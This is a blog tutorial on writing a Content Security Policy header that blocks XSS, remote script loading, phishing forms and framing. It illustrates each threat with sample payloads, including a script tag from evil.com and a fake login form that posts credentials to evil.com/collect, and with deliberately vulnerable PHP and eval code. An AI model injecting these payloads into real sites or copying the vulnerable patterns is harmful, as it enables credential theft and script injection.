DEV Community

loading...
Cover image for Content Security Policy Header: A Complete Guide

Content Security Policy Header: A Complete Guide

appsecmonkey profile image Teo Selenius Originally published at appsecmonkey.com Updated on ・15 min read

The original and up-to-date post can be found here.

Learn about CSP, how it works, and why it’s awesome. You will build a content security policy header from scratch and learn how to overcome the usual problems on the way. Let's get started!

What is Content Security Policy (CSP)?

Content Security Policy is an outstanding browser security feature that can prevent XSS (Cross-Site Scripting) attacks. It also obsoletes the old X-Frame-Options header for preventing cross-site framing attacks.

What are XSS vulnerabilities?

XSS (Cross-Site Scripting) vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from:

  1. Generating HTML unsafely (parameterizing without encoding correctly).
  2. Allowing users to edit HTML directly (WYSIWYG editors, for example).
  3. Allowing users to upload HTML/SVG files and serving those back unsafely.
  4. Using JavaScript unsafely (passing untrusted data into executable functions/properties).
  5. Using outdated and vulnerable JavaScript frameworks.

XSS attacks exploit these vulnerabilities by, e.g., creating malicious links that inject and execute the attacker's JavaScript code in the target user's web browser when the user opens the link.

A simple example

Here is a PHP script that is vulnerable to XSS:

echo "<p>Search results for: " . $_GET('search') . "</p>"
Enter fullscreen mode Exit fullscreen mode

It is vulnerable because it generates HTML unsafely. The search parameter is not encoded correctly. An attacker can create a link such as the following, which would execute the attacker's JavaScript code on the website when the target opens it:

https://www.example.com/?search=<script>alert("XSS")</script>
Enter fullscreen mode Exit fullscreen mode

Opening the link results in the following HTML getting rendered in the user's browser:

<p>Search results for: <script>alert("XSS")</script></p>
Enter fullscreen mode Exit fullscreen mode

Why are XSS vulnerabilities bad?

There is sometimes a misconception that XSS vulnerabilities are low severity bugs. They are not. The power to execute JavaScript code on a website in other people's browsers is equivalent to logging in to the hosting server and changing the HTML files for the affected users.

As such, XSS attacks effectively make the attacker logged in as the target user, with the nasty addition of tricking the user into giving some information (such as their password) to the attacker, perhaps downloading and executing malware on the user's workstation.

And it's not like XSS vulnerabilities only affect individual users. Stored XSS affects everyone who visits the infected page, and reflected XSS can often [spread like wildfire](https://en.wikipedia.org/wiki/Samy_(computer_worm).

How can CSP protect against XSS attacks?

CSP protects against XSS attacks quite effectively in the following ways.

1. Restricting Inline Scripts

By preventing the page from executing inline scripts, attacks like injecting

<script>alert("XSS)</script>
Enter fullscreen mode Exit fullscreen mode

will not work.

2. Restricting Remote Scripts

By preventing the page from loading scripts from arbitrary servers, attacks like injecting

<script src="https://evil.com/hacked.js"></script>
Enter fullscreen mode Exit fullscreen mode

will not work.

3. Restricting Unsafe Javascript

By preventing the page from executing text-to-JavaScript functions (also known as DOM-XSS sinks), your website will be forced to be safe from vulnerabilities like the following.

// A Simple Calculator
var op1 = getUrlParameter("op1");
var op2 = getUrlParameter("op2");
var sum = eval(`${op1} + ${op2}`);
console.log(`The sum is: ${sum}`);
Enter fullscreen mode Exit fullscreen mode

4. Restricting Form submissions

By restricting where HTML forms on your website can submit their data, injecting phishing forms like the following won't work either.

<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username"/>

<label>Password</label>
<input type="password" name="pass"/>

<input type="Submit" value="Login"/>
</form>
Enter fullscreen mode Exit fullscreen mode

5. Restricting Objects

And by restricting the HTML object tag, it also won't be possible for an attacker to inject malicious flash/Java/other legacy executables on the page.

How do I use it?

You can enforce a Content Security Policy on your website in two ways.

1. Content-Security-Policy Header

Send a Content-Security-Policy HTTP response header from your web server.

Content-Security-Policy: ...
Enter fullscreen mode Exit fullscreen mode

Using a header is the preferred way and supports the full CSP feature set. Send it in all HTTP responses, not just the index page.

2. Content-Security-Policy Meta Tag

Sometimes you cannot use the Content-Security-Policy header if you are, e.g., Deploying your HTML files in a CDN where the headers are out of your control.

In this case, you can still use CSP by specifying a meta tag in the HTML markup.

<meta http-equiv="Content-Security-Policy" content="...">
Enter fullscreen mode Exit fullscreen mode

Almost everything is still supported, including full XSS defenses. However, you will not be able to use framing protections, sandboxing, or a CSP violation logging endpoint.

Building Your Policy

Time to build our content security policy header! I created a little HTML document for us to practice on. If you want to follow along, fork this CodeSandbox, and then open the page URL (such as https://mpk56.sse.codesandbox.io/ in Google Chrome browser.

This is the HTML:

<html>
  <head>
    <title>CSP Practice</title>
    <link rel="stylesheet" href="/stylesheets/style.css" />
    <link rel="preconnect" href="https://fonts.gstatic.com">
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap" rel="stylesheet">
  </head>

  <body>
    <h1>CSP Practice</h1>
    <script>
      console.log("Inline script attack succeeded.");
    </script>
    <script src="https://www.appsecmonkey.com/evil.js"></script>
    <script src="https://www.google-analytics.com/analytics.js"></script>
    <script
              src="https://code.jquery.com/jquery-1.12.4.js">
    </script>
    <h3>Cat fact: <span id="cat-fact"></h3>
    <script>
      $( document ).ready(function() {
        $.ajax({
            url: "https://cat-fact.herokuapp.com/facts/random",
            type: "GET",
            crossDomain: true,
            success: function (response) {
                var catFact = response.text;
                $('#cat-fact').text(catFact);
            },
            error: function (xhr, status) {
                alert("error");
            }
        });
        console.log(`Good script with jQuery succeeded`);
      });
    </script>
    <img src=" data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA
    AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO
        9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Failed to show image." />
        <br/>
    <form method="POST" action="https://www.appsecmonkey.com/evil">
      <label>Session expired, enter password to continue.</label>
      <br/>
      <input type="password" autocomplete="password" name="password" placeholder="Enter your password here, mwahahaha.."></input>
      <input type="submit" value="Submit"/>
    </form>
  </body>
</html>
Enter fullscreen mode Exit fullscreen mode

And we also have app.js which is a miniature express application for the purpose of setting the Content-Security-Policy header. Right now it's sending an empty CSP which does nothing.

var express = require("express");

var app = express();
const csp = "";

app.use(
  express.static("public", {
    setHeaders: function (res, path) {
      res.set("Content-Security-Policy", csp);
    }
  })
);
var listener = app.listen(8080, function () {
  console.log("Listening on port " + listener.address().port);
});
Enter fullscreen mode Exit fullscreen mode

Here is how the page looks.
Alt Text

If you look at the console, there are a couple of messages.

Inline script attack succeeded.
Sourced script attack succeeded.
Good script with jQuery succeeded
Enter fullscreen mode Exit fullscreen mode

At this point, the CSP header is not doing anything, so everything, good and bad, is allowed. You can also confirm that hitting "submit" in the password phishing form works as expected (the "password" is sent to appsecmonkey.com).

Great. Let's start adding security.

default-src

default-src is the first directive that you want to add. It is the fallback for many other directives if you don't explicitly specify them.

Let's start by setting default-src to 'self'. The single quotes are mandatory. If you just write self without the single quotes, it would refer to a website with the URL self.

let defaultSrc = "default-src 'none'";
const csp = [defaultSrc].join(";");
Enter fullscreen mode Exit fullscreen mode

Now refresh the page and verify that everything has exploded, as expected.

Alt Text

Open Chrome developer tools, and you will find that it's filled with CSP violation errors.

Alt Text

Note
You will see violations for the CodeSandbox client hook "https://sse-0.codesandbox.io/client-hook-5.js". Just ignore these.

The page is now completely broken but also secure. Well, almost secure. The phishing form still works because the default-src directive does not cover the form-target directive. Let's fix that next.

form-action

form-action regulates where the website can submit forms to. To prevent the password phishing form from working, let's change the CSP like so.

let defaultSrc = "default-src 'none'";
let formAction = "form-action 'self'";
const csp = [defaultSrc, formAction].join(";");
Enter fullscreen mode Exit fullscreen mode

Refresh the page, and verify that it works by trying to submit the form.

❌ Refused to send form data to 'https://www.appsecmonkey.com/evil' because it violates the following Content Security Policy directive: "form-action 'self'".

Beautiful. Works as expected.

frame-ancestors

Let's add one more restriction before we start relaxing the policy a little bit to make our page load correctly. Namely, let's prevent other pages from framing us by setting the frame-ancestors to 'none'.

let frameAncestors = "frame-ancestors 'none'";
const csp = [defaultSrc, formAction, frameAncestors].join(";");
Enter fullscreen mode Exit fullscreen mode

If you check the CodeSandbox browser, you will see that it can no longer display your page in the frame.

Alt Text

Alright. Enough denying, let's allow something next.

style-src

Looking at the console, the next violations are:

❌ Refused to load the stylesheet 'https://lqil3.sse.codesandbox.io/stylesheets/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'style-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

❌ Refused to load the stylesheet 'https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap' because it violates the following Content Security Policy directive: "style-src 'self'". Note that 'style-src-elem' was not explicitly set, so 'style-src' is used as a fallback.

You can fix this with the style-src directive by allowing stylesheets to load from files hosted in the same origin and from google fonts.

...
let styleSrc = "style-src";
styleSrc += " 'self'";
styleSrc += " https://fonts.googleapis.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc].join(";");
Enter fullscreen mode Exit fullscreen mode

Refresh the page, and wow! Such style.

Alt Text

Let's move on to images.

img-src

Instead of the beautiful red dot, we have the following error:

❌ Refused to load the image 'data :image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAAUA%0A AAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO%0A 9TXL0Y4OHwAAAABJRU5ErkJggg==' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'img-src' was not explicitly set, so 'default-src' is used as a fallback

We can fix our images with the img-src directive like so.

let imgSrc = "img-src";
imgSrc += " 'self'";
imgSrc += " data:";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc].join(";");
Enter fullscreen mode Exit fullscreen mode

We allow images from our own origin, and also we allow data URLs because they are getting increasingly common with optimized websites.

Refresh the page and... Yes! It's a red dot in all its glory.

Alt Text

font-src

As for our fonts, we have the following error.

❌ Refused to load the font 'https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'font-src' was not explicitly set, so 'default-src' is used as a fallback

We can make it go away by adding the font-src directive like so:

let fontSrc = "font-src";
fontSrc += " https://fonts.gstatic.com/";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc].join(";");
Enter fullscreen mode Exit fullscreen mode

script-src

Alright, now it gets real. The script-src is arguably the primary reason CSP exists, and here we can either make or break our policy.

Let's look at the exceptions. The first one is the "attacker's" inline script. We don't want to allow it with any directive, so let's just keep blocking it.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-OScJmDvbn8ErOA7JGuzx/mKoACH2MwrD/+4rxLDlA+k='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

The second one is the attacker's sourced script. Let's keep blocking this one as well.

❌ Refused to load the script 'https://www.appsecmonkey.com/evil.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

Then there is Google analytics which we want to allow.

❌ Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.


We also want to allow jQuery.

❌ Refused to load the script 'https://code.jquery.com/jquery-1.12.4.js' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.


And finally, we want to allow the script that fetches cat facts.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'none'". Either the 'unsafe-inline' keyword, a hash ('sha256-dsERlyo3ZLeOnlDtUAmCoZLaffRg2Fi9LTWvmIgrUmE='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

Let's start with the easy ones. By adding Google analytics and jQuery URL to our policy, we can get rid of those two violations. Also, add 'self' to prepare for the next step (refactoring the cat facts script into a separate JavaScript file).

let scriptSrc = "script-src";
scriptSrc += " 'self'";
scriptSrc += " https://www.google-analytics.com/analytics.js";
scriptSrc += " https://code.jquery.com/jquery-1.12.4.js";
const csp = [defaultSrc, formAction, frameAncestors, styleSrc, imgSrc, fontSrc, scriptSrc].join(
  ";"
);
Enter fullscreen mode Exit fullscreen mode

The preferred way to deal with inline scripts is to refactor them into their own JavaScript files. So delete the cat facts script tag and replace it with the following:

...
<h3>Cat fact: <span id="cat-fact"></h3>
<script src="/javascripts/cat-facts.js"></script>
...
Enter fullscreen mode Exit fullscreen mode

And move the contents of the script into javascripts/cat-facts.js like so:

Alt Text

$(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    type: "GET",
    crossDomain: true,
    success: function (response) {
      var catFact = response.text;
      $("#cat-fact").text(catFact);
    },
    error: function (xhr, status) {
      alert("error");
    }
  });
  console.log(`Good script with jQuery succeeded`);
});
Enter fullscreen mode Exit fullscreen mode

Now refresh, and... bummer. One more violation to deal with before we win!

connect-src

❌ Refused to connect to 'https://cat-fact.herokuapp.com/facts/random' because it violates the following Content Security Policy directive...

The connect-src directive restricts where the website can connect to, and currently, it is preventing us from fetching cat facts. Let's fix it.

let connectSrc = "connect-src";
connectSrc += " https://cat-fact.herokuapp.com/facts/random";
const csp = [
  defaultSrc,
  formAction,
  frameAncestors,
  styleSrc,
  imgSrc,
  fontSrc,
  scriptSrc,
  connectSrc
].join(";");
Enter fullscreen mode Exit fullscreen mode

Refresh the page. Phew! The page works, and the attacks don't. You can try the finished site here. This is what we came up with:

Content-Security-Policy: default-src 'none'; form-action 'self'; frame-ancestors 'none'; style-src 'self' https://fonts.googleapis.com/; img-src 'self' data:; font-src https://fonts.gstatic.com/; script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js; connect-src https://cat-fact.herokuapp.com/facts/random
Enter fullscreen mode Exit fullscreen mode

Let's plug it into Google's CSP evaluator and see how we did.

Alt Text

Pretty good. The yellow in the script-src is just because we used 'self' which can be problematic if e.g. host user-submitted content.

But this was a sunny day scenario where we were able to refactor the code and get rid of inline scripts and dangerous function calls. Now let's see what you can do when you are forced to use a JavaScript framework that uses eval or when you need to have inline scripts in your HTML.

script-src: hashes

If you can't get rid of inline JavaScript, as of Content Security Policy level 2, you can use script-src 'sha256-<hash>' to allow scripts with a specific hash to execute. Nonces and hashes are quite well supported, see here for details compatibility. At any rate, CSP is backward compatible as long as you use it right.

You can follow along by forking this CodeSandbox. It's the same situation as before, but this time we won't refactor the inline script into its own file. Instead, we'll add its hash to our policy.

You could get the SHA256 hash manually, but it's a bit tricky to get the whitespace and formatting right. Luckily Chrome developer tools provide us with the hash, as you might have already noticed.

❌ Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js". Either the 'unsafe-inline' keyword, a hash ('sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='), or a nonce ('nonce-...') is required to enable inline execution.

So let's just add that hash to our policy like so, and the page will work again.

...
scriptSrc += " 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='";
scriptSrc += " 'unsafe-inline'";
...
Enter fullscreen mode Exit fullscreen mode

We also have to add the unsafe-inline for backward compatibility. Don't worry; browsers ignore it in the presence of a hash or nonce for browsers that support CSP level 2.

Note
Using hashes is generally not a very good approach. If you change anything inside the script tag (even whitespace), by e.g. formatting your code, the hash will be different, and the script won't render.

script-src: nonce

The second way to allow specific inline scripts is to use a nonce. It's slightly more involved, but you won't have to worry about formatting your code.

Nonces are unique one-time-use random values that you generate for each HTTP response, and add to the Content-Security-Policy header, like so:

const nonce = uuid.v4();
scriptSrc += ` 'nonce-${nonce}'`;
Enter fullscreen mode Exit fullscreen mode

You would then pass this nonce to your view (using nonces requires a non-static HTML) and render script tags that look something like this:

<script nonce="<%= nonce %>">
        $(document).ready(function () {
  $.ajax({
    url: "https://cat-fact.herokuapp.com/facts/random",
    ...
Enter fullscreen mode Exit fullscreen mode

Fork this CodeSandbox to play around with the solution I created with nonces and the EJS view engine.

WARNING
Don't create a middleware that just replaces all script tags with "script nonce=..." because attacker-injected scripts will then get the nonces as well. You need an actual HTML templating engine to use nonces.

script-src: 'unsafe-eval'

If your own code, or a dependency on your page, is using text-to-JavaScript functions like eval, you might run into a warning like this.

❌ Uncaught EvalError: Refused to evaluate a string as JavaScript because 'unsafe-eval' is not an allowed source of script in the following Content Security Policy directive: "script-src 'self' https://www.google-analytics.com/analytics.js https://code.jquery.com/jquery-1.12.4.js".

If it's your own code, refactor it not to use eval. If it's a dependency, consult its documentation to see if a more recent version, or some specific way of using it, is compatible with a safe content security policy header.

If not, then you will have to add the unsafe-eval keyword to your script-src. This will forfeit the DOM-XSS protection that CSP provides.

scriptSrc += " 'unsafe-eval'"; // cut my life into pieces this is my last resort
Enter fullscreen mode Exit fullscreen mode

The situation will somewhat improve in the future with Content Security Policy Level 3, which lets you have more control of DOM-XSS sink functions, among other things. When browsers start supporting it properly, I will update this guide.

Report only mode

Deploying CSP to production for the first time can be scary. You can start with a Content-Security-Policy-Report-Only header, which will print the violations to console but will not enforce them. Then do all the testing you want with different browsers and eventually deploy the enforcing header.

Conclusion

The content security policy header is an outstanding defense against XSS attacks. It takes a little bit of work to get right, but it's worth it.

It's always preferred to refactor your code so that it can run with a safe and clean policy. But when inline-scripts or eval cannot be helped, CSP level 2 provides us with nonces and hashes that we can use.

Before deploying the enforcing policy to production, start with a report-only header to avoid any unnecessary grief.

Get the web security checklist spreadsheet!

Subscribe
☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.

Discussion (0)

pic
Editor guide